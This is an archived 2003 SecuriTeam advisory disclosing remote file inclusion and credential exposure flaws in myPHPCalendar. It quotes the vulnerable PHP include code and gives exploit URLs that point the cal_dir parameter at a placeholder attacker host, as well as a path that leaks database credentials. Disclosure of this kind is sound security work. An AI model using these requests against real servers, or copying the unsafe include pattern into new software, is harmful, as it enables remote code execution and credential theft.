

[UNIX] myPHPCalendar Information Disclosure and File Inclusion

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-10/0053.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 10/13/03

To: list@securiteam.com

Date: 13 Oct 2003 15:05:44 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

myPHPCalendar Information Disclosure and File Inclusion

SUMMARY

<<http://sourceforge.net/projects/myphpcalendar/>> myPHPCalendar "is an extensive calendar solution for workgroups. It allows the users to create new accounts, assign tasks as public, private or groups. It is growing in features all of the time".

Multiple vulnerabilities in the code allow remote attackers to cause the product to include external PHP files and execute them. Another vulnerability allows revealing of sensitive information on the remote server.

DETAILS

Vulnerable systems:

* myPHPCalendar 10192000 Build 1 Beta

The following files `admin.php`, `contacts.php`, `convert-date.php` contain vulnerable code:

First they request an `include()` directive of an external file:

Securiteam: [UNIX] myPHPCalendar Information Disclosure and File Inclusion

```
include ("globals.inc");
```

This file globals.inc, contain an insecure include() directive:

```
include($cal_dir."vars.inc");  
include($cal_dir."prefs.inc");
```

The following file index.php also contain a similar insecure include() directive:

```
include ($cal_dir."globals.inc");  
[...]  
include($cal_dir."sql.inc");
```

The file setup.php when access will execute the following code:

```
$fp = fopen("setup.inc", "w+");  
fputs($fp, "<?php\n");  
fputs($fp, "\$url = \".$URL.\";\n");  
fputs($fp, "\$mainscript = \".$MAINSCRIPT.\";\n");  
fputs($fp, "\$mysql_server = \".$MYSQL_SERVER.\";\n");  
fputs($fp, "\$mysql_username = \".$MYSQL_USERNAME.\";\n");  
fputs($fp, "\$mysql_pass = \".$MYSQL_PASS.\";\n");  
fputs($fp, "\$database_name = \".$DATABASE_NAME.\";\n");  
fputs($fp, "\$db_type = \".$DB_TYPE.\";\n");  
fputs($fp, "\$user_text = \".$USER_TEXT.\";\n");  
fputs($fp, "\$crypt_type = \".$CRYPT_TYPE.\";\n");  
fputs($fp, "\$display_username = \".$DISPLAY_USERNAME.\";\n");  
fputs($fp, "\$maxdisplay = \".$MAXDISPLAY.\";\n");  
fputs($fp, "\$admin_email = \".$ADMIN_EMAIL.\";\n");
```

This of course reveals a lot of sensitive information on the remote server, when the setup.inc is requested.

Exploits:

Each request for any of these URLs:

```
http://[target]/admin.php?cal_dir=http://[attacker]/  
http://[target]/contacts.php?cal_dir=http://[attacker]/  
http://[target]/convert-date.php?cal_dir=http://[attacker]/
```

Will request an inclusion of files:

```
http://[attacker]/vars.inc and/or http://[attacker]/prefs.inc
```

Requesting the following URL:

```
http://[target]/index.php?cal_dir=http://[attacker]/
```

Will request an inclusion of the files:

```
http://[target]/globals.inc  
http://[target]/sql.inc
```

Requesting the following URL:

```
http://[target]/setup.inc
```

Will reveal the sensitive information shown above.

ADDITIONAL INFORMATION

The information has been provided by <mailto:leseulfrog@hotmail.com> Frog Man.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.